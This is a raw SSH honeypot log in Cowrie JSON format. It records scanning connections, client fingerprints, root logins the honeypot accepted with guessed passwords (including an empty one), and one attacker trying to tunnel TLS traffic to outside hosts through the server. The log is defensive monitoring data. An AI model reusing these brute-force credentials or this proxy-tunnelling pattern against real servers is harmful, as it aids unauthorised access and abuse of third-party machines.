{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:13:15.825096Z","src_ip":"67.52.95.38","session":"ab474d6a872c","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:13:16.351395Z","src_ip":"67.52.95.38","session":"ab474d6a872c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:13:16.477190Z","src_ip":"67.52.95.38","session":"ab474d6a872c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:13:16.482455Z","src_ip":"67.52.95.38","session":"ab8962249b64","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":36364,"dst_ip":"10.17.0.5","dst_port":22,"session":"a47f53047b03","protocol":"ssh","message":"New connection: 2.57.122.210:36364 (10.17.0.5:22) [session: a47f53047b03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:17:00.207642Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:17:00.315092Z","src_ip":"2.57.122.210","session":"a47f53047b03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":40464,"dst_ip":"10.17.0.5","dst_port":22,"session":"b11f097fe377","protocol":"ssh","message":"New connection: 2.57.122.210:40464 (10.17.0.5:22) [session: b11f097fe377]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:20:48.025185Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:20:48.029884Z","src_ip":"2.57.122.210","session":"b11f097fe377","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:20:48.134315Z","src_ip":"2.57.122.210","session":"b11f097fe377","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:20:48.458264Z","src_ip":"2.57.122.210","session":"b11f097fe377","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:20:49.567525Z","src_ip":"2.57.122.210","session":"b11f097fe377","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.156.73.233","src_port":43828,"dst_ip":"10.17.0.5","dst_port":22,"session":"70b209804c03","protocol":"ssh","message":"New connection: 185.156.73.233:43828 (10.17.0.5:22) [session: 70b209804c03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:21:41.776313Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","message":"Remote SSH version: SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:21:41.782457Z","src_ip":"185.156.73.233","session":"70b209804c03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"390ffe68a68c2a2891210413e80689fa","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-cbc;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none,zlib@openssh.com,zlib","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","sk-ecdsa-sha2-nistp256@openssh.com","ssh-ed25519","sk-ssh-ed25519@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-cbc"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 390ffe68a68c2a2891210413e80689fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:21:41.857416Z","src_ip":"185.156.73.233","session":"70b209804c03","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"","message":"login attempt [root/] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:21:42.254175Z","src_ip":"185.156.73.233","session":"70b209804c03","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"52.208.199.116","dst_port":443,"src_ip":"185.156.73.233","src_port":53998,"message":"direct-tcp connection request to 52.208.199.116:443 from 127.0.0.1:53998","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:21:44.028740Z","session":"70b209804c03","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"52.208.199.116","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 52.208.199.116:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:21:46.433345Z","src_ip":"185.156.73.233","session":"70b209804c03","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"52.208.199.116","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03v<KvJy\\xe9\\xc1\\xa6D\\x08\\xc7#7X\\xf45\\x9a\\x00O\\xc4\\x9a5)\\xfe\\x89\\x96\\xe4\\xc9 v\\xcd \\xbaQ\\x07\\x16\\x1a\\x94\\xbf\\xa4\\xf7v\\x1f>\\x8fWO\\x12\\x86\\x0c\\xcc\\xdc\\xf86\\x96\\xe4#?K\\x8d%\\r\\xa8\\xba\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xe2\\x9b\\xce8k\\xa39|\\xcd\\xc4/H1D\\xe7>e\\xcdr\\xfc\\xda\\x84;\\xe0t\\xd6\\xea\\x98\\xd0\\x8f\\xfe=\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":0,"message":"discarded direct-tcp forward request 0 to 52.208.199.116:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03v<KvJy\\xe9\\xc1\\xa6D\\x08\\xc7#7X\\xf45\\x9a\\x00O\\xc4\\x9a5)\\xfe\\x89\\x96\\xe4\\xc9 v\\xcd \\xbaQ\\x07\\x16\\x1a\\x94\\xbf\\xa4\\xf7v\\x1f>\\x8fWO\\x12\\x86\\x0c\\xcc\\xdc\\xf86\\x96\\xe4#?K\\x8d%\\r\\xa8\\xba\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x1a\\x00\\x18\\x00\\x00\\x15checkip.amazonaws.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\xe2\\x9b\\xce8k\\xa39|\\xcd\\xc4/H1D\\xe7>e\\xcdr\\xfc\\xda\\x84;\\xe0t\\xd6\\xea\\x98\\xd0\\x8f\\xfe=\\x00\\x15\\x00\\xa1\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:21:46.436682Z","src_ip":"185.156.73.233","session":"70b209804c03","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"184.30.157.36","dst_port":443,"src_ip":"185.156.73.233","src_port":56154,"message":"direct-tcp connection request to 184.30.157.36:443 from 127.0.0.1:56154","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:21:47.797290Z","session":"70b209804c03","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"184.30.157.36","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 184.30.157.36:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:21:48.917557Z","src_ip":"185.156.73.233","session":"70b209804c03","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"184.30.157.36","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03H\\xb3wWI\\xdc\\x9cBki\\xc1*\\xd9\\x10\\xa8pd=d\\xf5\\xbe\\x1cZCN\\xb6\\x10\\x02{\\xb1B\\xcb (\\xe5\\x97\\x00G\\x04\\x1e\\x9bn\\xe3\\xcel\\xcf\\x91\\x01}\\xa6\\xd8\\xab\\xcbf\\x02\\xaf:\\xebI\\\\\\x0bn\\xc5'5\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x87?\\xe5\\xa5^\\x80+\\xec\\xba\\x8c@\\xcc\\xd9V\\xab\\x96\\x05,\\xd5\\xad\\xf1P\\xa2\\x97Z\\x85KQK7\\xaa\\x12\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 184.30.157.36:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03H\\xb3wWI\\xdc\\x9cBki\\xc1*\\xd9\\x10\\xa8pd=d\\xf5\\xbe\\x1cZCN\\xb6\\x10\\x02{\\xb1B\\xcb (\\xe5\\x97\\x00G\\x04\\x1e\\x9bn\\xe3\\xcel\\xcf\\x91\\x01}\\xa6\\xd8\\xab\\xcbf\\x02\\xaf:\\xebI\\\\\\x0bn\\xc5'5\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x12\\x00\\x10\\x00\\x00\\rwww.apple.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x87?\\xe5\\xa5^\\x80+\\xec\\xba\\x8c@\\xcc\\xd9V\\xab\\x96\\x05,\\xd5\\xad\\xf1P\\xa2\\x97Z\\x85KQK7\\xaa\\x12\\x00\\x15\\x00\\xa9\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:21:48.921241Z","src_ip":"185.156.73.233","session":"70b209804c03","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"142.251.153.119","dst_port":443,"src_ip":"185.156.73.233","src_port":57784,"message":"direct-tcp connection request to 142.251.153.119:443 from 127.0.0.1:57784","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:21:49.967040Z","session":"70b209804c03","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.153.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.153.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T03:21:52.038071Z","src_ip":"185.156.73.233","session":"70b209804c03","protocol":"ssh"}
